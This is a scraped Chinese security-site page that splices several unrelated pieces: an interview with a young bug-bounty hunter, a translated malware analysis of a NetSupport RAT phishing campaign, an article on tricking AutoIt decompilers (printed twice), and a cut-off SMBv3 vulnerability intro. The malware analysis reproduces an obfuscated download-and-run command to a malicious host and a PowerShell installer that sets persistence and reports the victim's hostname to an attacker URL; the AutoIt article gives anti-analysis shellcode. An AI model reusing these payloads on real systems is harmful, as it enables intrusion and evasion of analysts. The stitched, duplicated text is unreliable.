image.png

00后白帽如何走上网络安全之路

如何一步步成为漏洞盒子S级白帽

如何通过自己的努力达成买房成就

淡黄的长裙,蓬松的头发

有哪些不为人知的故事呢

image.png

大噶好,我是盒鲁豫

欢迎大家收看第一期

S级白帽背后的故事

本期我们邀请到的白帽子是

image.png

连续3届梦想趴大佬

一把折扇玩转夜店的00后小鲜肉

盒子线下活动常驻头牌

让我们一起走进他的世界

倾听他的成长故事

image.pngimage.png

1.向大家简单介绍一下自己吧?

Lz12:大家好,我是lz12 ,一枚来自江苏的双子00后,漏洞盒子忠实粉丝,线下活动常驻蹭吃蹭喝,技术一般但是越菜越爱学。

2.为什么叫Lz12呢?

Lz12:l (略) z (知) 1 (一) 2 (二)   因为我刚接触的时候学的东西比较杂,很多都是会一点但是不精通,然后我是个比较中二的喜欢自诩文艺的人,所以别人问我什么我都说略知一二,再然后就莫名其妙用上了这个ID了。

3.有什么其他的兴趣爱好吗?

Lz12:兴趣爱好可太多了,喜欢游戏,美食,音乐,去没去过的地方旅游,跟朋友聚会,运动,emm就是运动比较特殊,是蹦迪和滑雪。

4.如何来分配生活、工作和挖洞?

Lz12:一般来说不会刻意去分配,都是比较随性的时间,一般是下班-打游戏-挖洞,非工作日很少挖洞,更多都是在做自己喜欢的事情,不过确实是比较喜欢在深夜挖洞一点,不知道为什么那样会更有感觉哈哈,更多是个人爱好,从我比较随性的时间分配也可以看的出来吧,自己觉得想挖洞的时候才会去,不会像工作学习一样给自己一个明确的时间或标准。

image.pngimage.png

1.你是如何走上安全之路的?最开始是通过什么方法学习的?

Lz12:没有什么游戏盗号的事件,就是我的一位导师做过安全开发,在跟我们上课的时候讲到了网络安全方面的东西,然后就自己开始上网找资料了,一开始学习也没有那么举步维艰,因为我是学计科的很多基础知识都了解一些,大概看看教程就入门了,那时候还是实战比较多,搭了很多环境自己测试,有搞不定的问题就会去搜或者问人,现在的话大部分都是靠看书了其他进步方式比较少,书里的知识比较详细吧,有很多以前不明白的问题也不知道怎么搜发现在书里都有比较简洁的答案,就多看多动手写一下自己用的小工具。

2.你印象最深刻的漏洞?

Lz12:印象最深刻的漏洞不是现在挖到的用到了多少技术,经历了多少艰难,又或者拿到了多少赏金的漏洞,只是刚开始学习时候那段低谷期里挖到的第一个逻辑类型的密码重置,现在想起来是觉得很简单,厂商也很小更没有赏金,但当时是如获珍宝的感觉,甚至我觉得就是那个时候开始热爱网络安全的。

3.一个漏洞一般会投入多少时间?每个月能有多少漏洞产出?

Lz12:如果这个漏洞我觉得没有新知识可以学习的话,就会投入很少的时间,如果涉及到了一下绕过,新姿势这些我会投入大量时间研究直到明白。现在每个月平均漏洞产出比以前少很多但是质量比以前高不少,产出量有时候多有时候一个都没有,只论高危且只包含众测和src的话每个月大概有十个左右吧。

4.你认为你自身技术比较大的突破提高发生在什么时候?是如何实现的?

Lz12:技术突破比较大是学会python和php,html,mysql三大件的时候吧,python,php都是自学的,网上找课程和看书,html,css,js和数据库都是上课学的,我觉得学习编程的意义不止于能够利用它开发自动化工具,帮助处理东西等等,在我学习的过程中懂了很多以前搞不懂的原理,知识面的扩充让我思路更清晰发现漏洞的过程中也会出现更多的想法。

5.有什么工具,你会推荐给新手白帽?

Lz12:burpsuite,fuzzdb,kali linux,sqlmap等,具体功能我就不介绍了,网上文章很多。

6.给新手白帽一些入门建议吧

Lz12:多学基础知识,网络架构,编程,计算机基础等,自己搭建环境以动手能力为主,公开案例为辅,与基础知识齐头并进,保持自己的求知欲才能有更高的境界。

image.pngimage.png

1.你是从何了解漏洞盒子的?

Lz12:是在一篇技术文章中作者用了盒子一个公开漏洞举例了解到的,然后就开始在盒子平台慢慢提交漏洞参加众测什么的,有一次漏洞纠纷觉得审核很好说话就觉得还蛮不错的,然后运营线下活动都很有意思,就慢慢习惯了。

2.你在盒子一般挖什么类型的漏洞?你是如何在盒子成长起来的?

Lz12:因为我在盒子挖洞以及很久了,漏洞类型是很多的,基本各种漏洞都有一些,比较多的还是SQL注入和逻辑漏洞吧,成长过程一方面是那个时候自己真的比较努力不像现在有点懒哈哈,另一方面真的要感谢运营小姐姐当时愿意给新人机会才让我能够逐渐在盒子成长展示自己让审核相信我的能力。

3.你对盒子有什么想说的或者建议吗

Lz12:我觉得平台、功能、福利什么的已经没有建议了,已经很棒了我用的很舒服,就是希望能多上点新项目啊,然后线下活动多办点,然后还希望线下活动能放宽一下包差旅的条件什么的啊哈哈毕竟我每次都去嘛。

image.pngimage.png

image.png

01.如何成为盒子S级白帽

单个漏洞奖金超过1W在项目中表现特别卓越、被我们的审核专家一致认可的白帽子。

02.S级白帽有哪些特权呢

与众不同平台身份徽章、身份展示、专属证书

项目特权所有项目免审核直接加入

真金白银免税券(你的提现奖金,平台帮你交税)

平台温暖节假日关怀礼物寄送、定制生日礼物+小姐姐亲自送祝福

活动刷脸线下晚宴特邀、线上线下活动免门槛加入

盒子网红年度专访曝光

专属客服专属运营小姐姐1对1帮你解决各种问题

2020年1月安全人员发现了一个伪造为受密码保护的恶意Microsoft Word文档,该文档在网络钓鱼活动中用于传播商业化远程访问工具(NetSupport Manager),此RAT通常用于管理员远程访问客户端计算机。但是攻击者将此RAT安装到受害者的系统上,从而获得访问权限。攻击活动中使用多种技术来规避动态和静态分析,并利用PowerShell PowerSploit来执行恶意文件安装。至少从2018年起NetSupport Manager RAT就已经出现在网络钓鱼活动中。

传播方式

2020年1月上旬检测到一个执行批处理文件的可疑winword.exe进程。 在图1中可以看到多个检测点,从启动Microsoft Word开始,再到创建和执行.bat文件。 在图2中可以看到“时间轴”,其中显示了检测警报,行为流程和连接尝试。 图3显示了基于这些行为指标检测到的初始警报。

下面图4是恶意文档截图,伪装成受密码保护的NortonLifelock文档,该文档请求用户输入密码以启用宏。用于此分析的文

SHA256:e9440a5d2de2453ae5b69a9c096f8d4cf9e059469c5de67380d76e02dd6975

对用户来说,文档似乎包含需要密码才能查看的个人信息。打开文档并单击“启用内容”后,将执行宏并向用户显示密码对话框。
密码很有可能被攻击者写在钓鱼邮件正文中,它只接受字母“c”或“C”,如下面的宏代码所示。此宏代码的哈希

SHA256:68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2

如果用户输入了不正确的密码,则会显示一条错误消息,然后显示“完成”处理消息。在输入正确的密钥之前,不会进行恶意活动,输入正确的密码后,宏将继续执行代码并生成以下命令字符串:

cmD /c EChO|SE^t /p=" M^siexe">%temp%\alpaca.bat&EcHo|s^et 
/p="c " >>%temp%\alpaca.bat&EcHo|s^et /p="^/i" 
>>%temp%\alpaca.bat&EcHo|s^et /p=" 
http^:^/^/^quickwaysignstx[.]com/view.php 
">>%temp%\alpaca.bat&EcHo|s^et /p=" ^/q 
&exit">>%temp%\alpaca.bat&%temp%\alpaca.bat&avvfge 2

宏使用visualbasicforapplications(VBA)窗体上的多个标签对字符串进行模糊处理,字符最终连接在一起以构造最终命令,在受害者机器中下载并执行RAT。

命令字符串通过VBA shell函数执行,该函数执行以下操作:

1、通过/c参数启动cmd.exe,执行命令并退出

2、在受害者%temp%目录中构造名为alpaca.bat的批处理文件

3、执行新创建的批处理脚本

批处理脚本使用msiexec,它是Windows安装程序服务的一部分,用于下载二进制文件并安装:

quickwaysignstx[.]com/view.php

如果请求中用户代理字符串是Windows Installer,则返回MSI文件。MSI负载(SHA256:41d27d53c5d41003bc9913476a3afd3961b561b1201bee8bfde327a5f0d22a040a)是来自www.exemsi[.]com的未注册版本生成的,标题为MPZMZQYVXO patch version 5.1。此版本字符串是随机的,运行MSI时将显示字符串。下载后,MSI将使用/q参数执行。MSI在受害者的%temp%目录安装PowerShell脚本REgistryMPZMZQYVXO.ps1。

function HYTNKJSDEH([String] $YTVRJKIEIR, [String] $BORBFDSYOP)
{
$DHPFYCOKLM = “<<strong>base64 encoded + encrypted payload</strong>>”;
$encoding = New-Object System.Text.ASCIIEncoding;
$KULVWNXDPId = $encoding.GetBytes("DJZGVUGVHDMNIGZD");
$derivedPass = New-Object 
System.Security.Cryptography.PasswordDeriveBytes($YTVRJKIEIR, 
$encoding.GetBytes($BORBFDSYOP), "SHA1", 2);
[Byte[]] $ESFLDIMUEO = $derivedPass.GetBytes(16);
$LCZJFEXHXR = New-Object 
System.Security.Cryptography.TripleDESCryptoServiceProvider;

$LCZJFEXHXR.Mode = 
[System.Security.Cryptography.CipherMode]::CBC;
$JOVGMJCIKY = $LCZJFEXHXR.CreateDecryptor($ESFLDIMUEO, $KULVWNXDPId);
$LBUWDFHHMZ = New-Object System.IO.MemoryStream($DHPFYCOKLMa, 
$True);
$ZSKXKODPKK = New-Object 
System.Security.Cryptography.CryptoStream($LBUWDFHHMZ, 
$JOVGMJCIKY, 
[System.Security.Cryptography.CryptoStreamMode]::Read);
$STDVLFIUQN = $ZSKXKODPKK.Read($JHTZWEZBUW, 0, 
$JHTZWEZBUW.Length);
$LBUWDFHHMZ.Close();
$ZSKXKODPKK.Close();
$LCZJFEXHXR.Clear();
if (($JHTZWEZBUW.Length -gt 3) -and ($JHTZWEZBUW[0] -eq 0xEF) 
-and ($JHTZWEZBUW[1] -eq 0xBB) -and ($JHTZWEZBUW[2] -eq 0xBF)) { 
$h = $JHTZWEZBUW[3..($JHTZWEZBUW.Length-1)]; }
return $encoding.GetString($JHTZWEZBUW).TrimEnd([Char] 0);
}
 $TYCNJNUWWG = HYTNKJSDEH "ew9p5rzlmvcf32b6i0oun8q47tag1xhs" 
"7ohp9z481qem6ykbdu2argt5lj3fcsi0";
Invoke-Expression $TYCNJNUWWG;

存储在REgistryMPZMZQYVXO.ps1中的加密数据blob是另一个PowerShell脚本,负责将NetSupport Manager RAT安装到受害者上。

PowerShell脚本是使用powerspoit框架中的开源脚本Out-EncryptedScript.ps1生成的。它包含base64数据处理模块,并使用CBC的密码模式进行TripleDES 。

此示例的解密密码和初始化向量(IV)为:

Decryption key = 0xA7A15B277A74CD3233B9DF078ABCDE12

IV                        = DJZGVUGVHDMNIGZD

$scriptPath = split-path -parent 
$MyInvocation.MyCommand.Definition
if ($scriptpath -match "avast") {exit}
if ($scriptpath -match "Avast") {exit}
if ($scriptpath -match "AVG") {exit}
if ($scriptpath -match "avg") {exit}
function react (
  $source,
  $destination
)
{
Convert-StringToBinary -InputString $source -FilePath $Destination;
  #      }
     }#}
function Convert-StringToBinary
(
 $InputString
,  $FilePath
)
{
$file= $InputString
$data = [System.Convert]::FromBase64String($file)
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null

$cs = New-Object System.IO.Compression.GZipStream($ms, 
[System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($cs)
$t = $sr.readtoend()#|out-file str.txt

$ByteArray = [System.Convert]::FromBase64String($t);
[System.IO.File]::WriteAllBytes($FilePath, $ByteArray);
}
function Install
{
$file1 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file2 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file3 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file4 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file5 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file6 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file7 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file8 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file9 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file10 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file11 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;
$file12 = “<<strong>Gzip compressed + base64 encoded file</strong>>”;

$randf=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | 
Get-Random -Count 8 | % {[char]$_}) )
$fpath ="$env:appdata\$randf"
mkdir $fpath
$clientname="presentationhost.exe"
$Source = $file1
$Destination = "$fpath\"+"$clientname"
react -source $source -destination $destination
$Source = $file2
$Destination = "$fpath\client32.ini"
write-host $destination
react -source $source -destination $destination
$Source = $file3
$Destination = "$fpath\HTCTL32.DLL"
react -source $source -destination $destination
$Source = $file4
$Destination = "$fpath\msvcr100.dll"
react -source $source -destination $destination
$Source = $file5
$Destination = "$fpath\nskbfltr.inf"
react -source $source -destination $destination
$Source = $file6
$Destination = "$fpath\NSM.ini"
react -source $source -destination $destination
$Source = $file7
$Destination = "$fpath\NSM.lic"
react -source $source -destination $destination
$Source = $file8
$Destination = "$fpath\pcicapi.dll"
react -source $source -destination $destination
$Source = $file9
$Destination = "$fpath\PCICHEK.DLL"
react -source $source -destination $destination
$Source = $file10
$Destination = "$fpath\PCICL32.DLL"
react -source $source -destination $destination
$Source = $file11
$Destination = "$fpath\remcmdstub.exe"
react -source $source -destination $destination
$Source = $file12
$Destination = "$fpath\TCCTL32.DLL"
react -source $source -destination $destination
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v ServiceDLL /t REG_SZ /d "$fpath\$clientname" /f
start-process "$fpath\$clientname"
#Start-sleep -s 10
Invoke-WebRequest -Uri "http://afsasdfa33[.]xyz/iplog/lepo.php?hst=$env:computername"
$f=get-content $env:temp\insghha4.txt

remove-item $env:TEMP\*.ps1
#cmd /c del %temp%\*.ps1 /f
#cmd /c del %temp%\*.txt /f
remove-item $f
}
#ShowConsole
#rights

install;

RAT安装脚本会进行以下操作:

1、如果目标上正在运行Avast或AVG防病毒软件,则停止安装

2、将组成NetSupport Manager RAT的12个文件安装到受害者%appdata%中的随机目录(长度为8),例如c:users\username%AppdataRoaming\%randomvalue%

3、在受害者上创建以下注册表项:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Name: ServiceDLL

Value: C:\Users\%username% \AppData\Roaming\%randomvalue%\presentationhost.exe’

4、执行主NetSupport Manager RAT presentationhost.exe

5、休眠10秒

6、将受害者的计算机名发送到http://afsasdfa33[.]xyz/iplog/lepo.php?hst=%computername%

7、从站点afsasdfa33.]xyz返回的任何数据都保存在%temp%目录中的insghha4.txt

8、从受害者的%temp%目录中删除所有扩展名为.ps1的文件

9、删除名为insghha4.txt的文件 

NetSupport Manager(presentationhost.exe)启动后将向域geo.netsupportsoftware[.]com查询主机的地理位置,NetSupport Manager的原始名称是client32.exe,更改为presentationhost.exe以避免受害者怀疑。流量示例如下:

POST http://94.158.245[.]182/fakeurl.htm HTTP/1.1

User-Agent: NetSupport Manager/1.3

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

Host: 94.158.245[.]182

Connection: Keep-Alive

CMD=POLL

INFO=1

ACK=1

响应:

HTTP/1.1 200 OK

Server: NetSupport Gateway/1.6 (Windows NT)

Content-Type: application/x-www-form-urlencoded

Content-Length: 60

Connection: Keep-Alive

CMD=ENCD

ES=1

DATA=.g+$.{.. \….W…bb…).w}..o..X..xf…

受害目标发送的加密数据:

POST http://94.158.245[.]182/fakeurl.htm HTTP/1.1

User-Agent: NetSupport Manager/1.3

Content-Type: application/x-www-form-urlencoded

Content-Length: 244

Host: 94.158.245[.]182

Connection: Keep-Alive

CMD=ENCD

ES=1

DATA=u.2h.r..4.]..%y-…..=I…D3.W..i.7?…[email protected]….F.f….&t.[..6ra..L..Tzg..... ..U.z4.]..%y-A9H=n .:!.”Pfd]U,[.(...f=I.....W.p..RHz.....#[email protected]>|.?...R...s.nt.G..=}\[email protected][email protected]……..M.6..

总结

攻击活动是从2019年11月初到2020年1月底。整个11月上半月,所有相关活动都使用的电子邮件附件,其中包含与目标公司有公开联系的个人或公众人物。所有电子邮件使用随机的protonmail[.]com电子邮件地址发送,包含与退款状态或未经授权交易相关的邮件主题。从11月底到2020年1月邮件附件发生了变化,名为<target company website>.doc,电子邮件主题相同,目前尚不清楚攻击的目的意图。

*参考来源:unit42,由Kriston编译,转载请注明来自FreeBuf.COM

01.png

AutoIt 目前最新是v3版本,这是一个使用类似BASIC脚本语言的免费软件,它的设计用于Windows GUI(图形用户界面)中进行自动化操作,利用模拟键盘按键,鼠标移动和窗口/控件的组合来实现自动化任务。而这是其它语言不可能做到或无可靠方法实现的(例如VBScript和SendKeys)。

Autoit3 Decompiler是一款功能强大的AutoIt3反编译工具,可以反编译由AutoIt编译的exe程序,直接反编译出源代码!还带有右键关联功能,非常方便。 

在Autoit3 Decompiler中,按“反编译选中”或“反编译当前”按钮,还可以提取exe中的资源(图片、exe等等)到文件夹。 

Autoit3 Decompiler 主要功能简介如下: 

1. 支持全系列autoit3,包括v3.0.100.0 - v3.3.7.18,后续版本没验证是否支持,理论上是都支持的 

2. 支持EXE及A3X文件反编译 ;

3. 支持X86及X64格式反编译 ;

4. 支持ANSI及UNICODE反编译 ;

5. 支持带密码编译,对于3.2.6.0之前版本可以读取原始密码,后续版本无法显示密码但可正常反编译 ;

6. 支持代码混淆,混淆程序反编译后可读性欠佳,但不影响重编译及执行; 

7. 支持反编译后文件项信息即时预览 ;

8. 支持反编译后文件内容即时预览 ;

9. 支持批量反编译 ;

10. 支持命令行及图形界面操作 ;

11. 支持鼠标右键菜单集成。

在分析AutoIT编译的恶意软件样本期间,会弹出一个消息框,指示在使用Exe2Aut反编译器时可能执行的样本。这引起了我对反编译程序如何工作以及如何首先编译AutoIt脚本的兴趣。在本文中,我将解释两个最常见的AutoIT反编译程序(Exe2Aut和myAut2Exe)是如何工作的,以及它们是如何被骗去反编译一个诱饵脚本而不是真正的脚本。

什么是“已编译” AutoIT可执行文件?

编译后的AutoIT可执行文件基本上由两部分组成:一个独立的AutoIT解释程序和作为PE文件中资源显示的编译脚本字节码。AutoIT的创建者已经采取了一些措施来防止简单的反编译,并对字节码应用了一种压缩和加密的形式。字节码的解压缩由编译的AutoIT二进制文件执行,然后再解释和执行。

现在,让我们分析一下Exe2Aut反编译程序。

如果要在反编译期间动态分析Exe2Aut,则会注意到以下内容:

1. 将.tmp文件写入%TEMP%文件夹;

2. 目标二进制文件作为Exe2Aut的子进程加载;

3. .tmp文件被注入目标二进制文件中;

4. 目标二进制文件会将反编译的autoIT脚本写入当前工作目录。

因此,我们可以得出结论,Exe2Aut利用嵌入式解释程序对脚本字节码进行解密和解压缩,然后通过将动态链接库(DLL)注入目标二进制文件来提取该字节码。这样就钩住了将执行字节码的函数,并将字节码解码回函数名称,从而使其成为一种动态方法。因此,可以添加代码来检测注入并更改其行为。这样,我们可以欺骗Exe2Aut来反编译诱饵脚本,而不是在运行应用程序时执行的真实脚本。

2.png

Exe2Aut注入模块

那MyAut2Exe呢?

与Exe2Aut不同,MyAut2Exe无需嵌入式解释程序就可以提取字节码资源并解压缩和解码。使其成为完整的静态反编译程序,因此没有意外执行任何内容的风险。

MyAut2Exe比Exe2Aut更高级,它支持AutoIT和AutoHotkey编译脚本的多个版本。因此,它具有更多设置来调整已编译脚本代码的提取和解压缩。为了减少正确配置的麻烦,它提供了一个称为“自动化”的功能。该暴力破解将强制反编译程序设置,直到脚本成功反编译为止。当使用“自动”功能时,MyAut2Exe解析可执行文件中的AutoIT魔术字节码签名。一旦找到,它将提取并反编译代码。由于解析和反编译会在魔术字节码序列首次出现时就停止了,因此只要将MyAut2Exe放置在比真实编译脚本资源低的偏移量处,就可以很容易地诱使MyAut2Exe进行反编译。

演示过程

虽然理论知识层面我们已经讲得更清楚了,但是在网络安全领域,概念证明(POC)的价值远远超过任何理论。

这个想法是要使用三个不同的字节码来编译AutoIt可执行文件,一旦被Exe2Aut或MyAut2Exe反编译,其中一个诱饵脚本就会被反编译,而不是真正的代码。

如前所述,MyAut2Exe的诱饵脚本位于真实字节码之前。对于Exe2Aut,诱饵和真实脚本的脚本资源名称将在运行时重命名,以使其反编译错误的代码。

我已经编译了三种不同的AutoIt脚本,并将它们作为资源添加到.rsrc部分。其中两个是诱饵脚本,而第三个是真实的脚本。然后,我将.rsrc部分的权限设置为读取/写入可移植可执行文件(PE)头。

3.png

真实和诱骗的脚本资源

接下来,我编写了一个小的程序集shellcode来遍历进程环境块中的PEB_LDR_DATA结构,以检查Exe2Aut注入的DLL是否存在。还可以在磁盘上搜索(UPX压缩)DLL,因为在注入之前,它位于Windows%TEMP%目录下的随机文件名下。我之所以选择这种方法,是因为它更可靠且更难检测。遍历进程环境块以检查所有已加载模块中是否存在节名称为.UPX0的已加载模块,这是一种识别Exe2Aut注入模块的更简便的方法,因为其他所有DLL通常都不会被UPX压缩。这个方法甚至可以检测到各种各样的Exe2Aut版本,而不仅仅是我使用的那个,甚至还有一些自定义的反编译器。

创建了shellcode之后,我需要在准备好的可执行文件中找到一个位置,将我的shellcode注入其中。我在.text部分的末尾找到了一个大约210字节的编解码器,此时我的shellcode可以很容易地放入其中。为了执行我的shellcode,我决定在调用IsDebuggerPresent之后立即跳转到它,并在执行完成后返回正常执行流程。

saveRegisters:
     push ecx
     push ebx
     push edx
 
checkInjected:
     mov ebx, fs:[0x30]                                        ; Get PEB address
     mov ebx, [ebx+0xC]                                        ; Get LDR Table address
     mov ebx, [ebx+0x14]                                       ; first entry of LDR table. (the first entry is the that of the executable)
     mov edx, [ebx+0x10]                                       ; Store the offset in edx
                                                               ;   I need this later to calculate the offsets
                                                               ;   of the resource names
 
     nextModule:
 
          mov ebx, [ebx]                                       ; Get address of next LDR entry
          mov ecx, dword ptr ds:[ebx+0x28]                     ; Pointer of the module name
          test ecx, ecx                                        ; If the pointer is OxO it means we have reached
                                                               ;   the end of our LDR table and we want to
          je restoreRegisers                                   ;   continue normal execution
          mov ecx,dword ptr ds:[ebx+0x10]                      ; Get the modules base offset
          mov ecx, dword ptr ds:[ecx+0x178]                    ; load a dword from the modules base offset+0x178
          cmp ecx,0x30585055                                   ;   and check if it is "UPX0"
          je swapResouces
          jmp nextModule
 
swapResouces:
     mov byte ptr ds:[edx+ 0xc7656], 0x49                      ; Replace the '1' for a 'I' in "SCR1PT"
     mov byte ptr ds:[edx+ 0xc765e] , 0x35                     ; Replace the 'S' for a '5' in "SCRIPT"
 
restoreRegisers:
     pop edx
     pop ebx
     pop ecx
     test eax, eax                                            ; Restore the instructions that were overwritten by
     jnz debugerIsPresent                                     ;   the jump to the codecave
     jmp debugerNotPresent                                    ; Return to the normal program flow

程序集shellcode(70字节)

演示视频可以点击这里,从以上POC中我们可以学到的是,我们不应该总是盲目地相信我们使用的工具。逆向工程师应该意识到他们的工具是如何工作的,以及他们如何可能被欺骗而返回具有误导性的输出结果。虽然这里介绍的技巧可能会误导两个反编译器,但它们不会影响沙箱中的动态分析结果。 

01.png

AutoIt 目前最新是v3版本,这是一个使用类似BASIC脚本语言的免费软件,它的设计用于Windows GUI(图形用户界面)中进行自动化操作,利用模拟键盘按键,鼠标移动和窗口/控件的组合来实现自动化任务。而这是其它语言不可能做到或无可靠方法实现的(例如VBScript和SendKeys)。

Autoit3 Decompiler是一款功能强大的AutoIt3反编译工具,可以反编译由AutoIt编译的exe程序,直接反编译出源代码!还带有右键关联功能,非常方便。
在Autoit3 Decompiler中,按“反编译选中”或“反编译当前”按钮,还可以提取exe中的资源(图片、exe等等)到文件夹。
Autoit3 Decompiler 主要功能简介如下:
1. 支持全系列autoit3,包括v3.0.100.0 - v3.3.7.18,后续版本没验证是否支持,理论上是都支持的
2. 支持EXE及A3X文件反编译 ;
3. 支持X86及X64格式反编译 ;
4. 支持ANSI及UNICODE反编译 ;
5. 支持带密码编译,对于3.2.6.0之前版本可以读取原始密码,后续版本无法显示密码但可正常反编译 ;
6. 支持代码混淆,混淆程序反编译后可读性欠佳,但不影响重编译及执行; 
7. 支持反编译后文件项信息即时预览 ;
8. 支持反编译后文件内容即时预览 ;
9. 支持批量反编译 ;
10. 支持命令行及图形界面操作 ;
11. 支持鼠标右键菜单集成。

在分析AutoIT编译的恶意软件样本期间,会弹出一个消息框,指示在使用Exe2Aut反编译器时可能执行的样本。这引起了我对反编译程序如何工作以及如何首先编译AutoIt脚本的兴趣。在本文中,我将解释两个最常见的AutoIT反编译程序(Exe2Aut和myAut2Exe)是如何工作的,以及它们是如何被骗去反编译一个诱饵脚本而不是真正的脚本。

什么是“已编译” AutoIT可执行文件?

编译后的AutoIT可执行文件基本上由两部分组成:一个独立的AutoIT解释程序和作为PE文件中资源显示的编译脚本字节码。AutoIT的创建者已经采取了一些措施来防止简单的反编译,并对字节码应用了一种压缩和加密的形式。字节码的解压缩由编译的AutoIT二进制文件执行,然后再解释和执行。

现在,让我们分析一下Exe2Aut反编译程序。

如果要在反编译期间动态分析Exe2Aut,则会注意到以下内容:

1. 将.tmp文件写入%TEMP%文件夹;

2. 目标二进制文件作为Exe2Aut的子进程加载;

3. .tmp文件被注入目标二进制文件中;

4. 目标二进制文件会将反编译的autoIT脚本写入当前工作目录。

因此,我们可以得出结论,Exe2Aut利用嵌入式解释程序对脚本字节码进行解密和解压缩,然后通过将动态链接库(DLL)注入目标二进制文件来提取该字节码。这样就钩住了将执行字节码的函数,并将字节码解码回函数名称,从而使其成为一种动态方法。因此,可以添加代码来检测注入并更改其行为。这样,我们可以欺骗Exe2Aut来反编译诱饵脚本,而不是在运行应用程序时执行的真实脚本。

2.png

Exe2Aut注入模块

那MyAut2Exe呢?

与Exe2Aut不同,MyAut2Exe无需嵌入式解释程序就可以提取字节码资源并解压缩和解码。使其成为完整的静态反编译程序,因此没有意外执行任何内容的风险。

MyAut2Exe比Exe2Aut更高级,它支持AutoIT和AutoHotkey编译脚本的多个版本。因此,它具有更多设置来调整已编译脚本代码的提取和解压缩。为了减少正确配置的麻烦,它提供了一个称为“自动化”的功能。该暴力破解将强制反编译程序设置,直到脚本成功反编译为止。当使用“自动”功能时,MyAut2Exe解析可执行文件中的AutoIT魔术字节码签名。一旦找到,它将提取并反编译代码。由于解析和反编译会在魔术字节码序列首次出现时就停止了,因此只要将MyAut2Exe放置在比真实编译脚本资源低的偏移量处,就可以很容易地诱使MyAut2Exe进行反编译。

演示过程

虽然理论知识层面我们已经讲得更清楚了,但是在网络安全领域,概念证明(POC)的价值远远超过任何理论。

这个想法是要使用三个不同的字节码来编译AutoIt可执行文件,一旦被Exe2Aut或MyAut2Exe反编译,其中一个诱饵脚本就会被反编译,而不是真正的代码。

如前所述,MyAut2Exe的诱饵脚本位于真实字节码之前。对于Exe2Aut,诱饵和真实脚本的脚本资源名称将在运行时重命名,以使其反编译错误的代码。

我已经编译了三种不同的AutoIt脚本,并将它们作为资源添加到.rsrc部分。其中两个是诱饵脚本,而第三个是真实的脚本。然后,我将.rsrc部分的权限设置为读取/写入可移植可执行文件(PE)头。

3.png

真实和诱骗的脚本资源

接下来,我编写了一个小的程序集shellcode来遍历进程环境块中的PEB_LDR_DATA结构,以检查Exe2Aut注入的DLL是否存在。还可以在磁盘上搜索(UPX压缩)DLL,因为在注入之前,它位于Windows%TEMP%目录下的随机文件名下。我之所以选择这种方法,是因为它更可靠且更难检测。遍历进程环境块以检查所有已加载模块中是否存在节名称为.UPX0的已加载模块,这是一种识别Exe2Aut注入模块的更简便的方法,因为其他所有DLL通常都不会被UPX压缩。这个方法甚至可以检测到各种各样的Exe2Aut版本,而不仅仅是我使用的那个,甚至还有一些自定义的反编译器。

创建了shellcode之后,我需要在准备好的可执行文件中找到一个位置,将我的shellcode注入其中。我在.text部分的末尾找到了一个大约210字节的编解码器,此时我的shellcode可以很容易地放入其中。为了执行我的shellcode,我决定在调用IsDebuggerPresent之后立即跳转到它,并在执行完成后返回正常执行流程。

saveRegisters:
     push ecx
     push ebx
     push edx
 
checkInjected:
     mov ebx, fs:[0x30]                                        ; Get PEB address
     mov ebx, [ebx+0xC]                                        ; Get LDR Table address
     mov ebx, [ebx+0x14]                                       ; first entry of LDR table. (the first entry is the that of the executable)
     mov edx, [ebx+0x10]                                       ; Store the offset in edx
                                                               ;   I need this later to calculate the offsets
                                                               ;   of the resource names
 
     nextModule:
 
          mov ebx, [ebx]                                       ; Get address of next LDR entry
          mov ecx, dword ptr ds:[ebx+0x28]                     ; Pointer of the module name
          test ecx, ecx                                        ; If the pointer is OxO it means we have reached
                                                               ;   the end of our LDR table and we want to
          je restoreRegisers                                   ;   continue normal execution
          mov ecx,dword ptr ds:[ebx+0x10]                      ; Get the modules base offset
          mov ecx, dword ptr ds:[ecx+0x178]                    ; load a dword from the modules base offset+0x178
          cmp ecx,0x30585055                                   ;   and check if it is "UPX0"
          je swapResouces
          jmp nextModule
 
swapResouces:
     mov byte ptr ds:[edx+ 0xc7656], 0x49                      ; Replace the '1' for a 'I' in "SCR1PT"
     mov byte ptr ds:[edx+ 0xc765e] , 0x35                     ; Replace the 'S' for a '5' in "SCRIPT"
 
restoreRegisers:
     pop edx
     pop ebx
     pop ecx
     test eax, eax                                            ; Restore the instructions that were overwritten by
     jnz debugerIsPresent                                     ;   the jump to the codecave
     jmp debugerNotPresent                                    ; Return to the normal program flow

程序集shellcode(70字节)

演示视频可以点击这里,从以上POC中我们可以学到的是,我们不应该总是盲目地相信我们使用的工具。逆向工程师应该意识到他们的工具是如何工作的,以及他们如何可能被欺骗而返回具有误导性的输出结果。虽然这里介绍的技巧可能会误导两个反编译器,但它们不会影响沙箱中的动态分析结果。 

一、漏洞基本信息

1.SMBv3介绍

服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上。它还提供了经过身份验证的进程间通信机制。SMB的大多数用法涉及运行Microsoft Windows的计算机,在引入Active Directory之前被称为“ Microsoft Windows网络” 。相应的Windows服务是用于服务器组件的LAN Manager服务器和用于客户端组件的LAN Manager工作站。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。除了在SMB3中添加的AES-128 CCM加密外,该版本还支持AES-128 GCM加密,并使用SHA-512哈希实现预认证完整性检查。当使用SMB 2.x和更高版本连接到客户端时,SMB 3.1.1还使安全协商成为必需。

2.漏洞描述

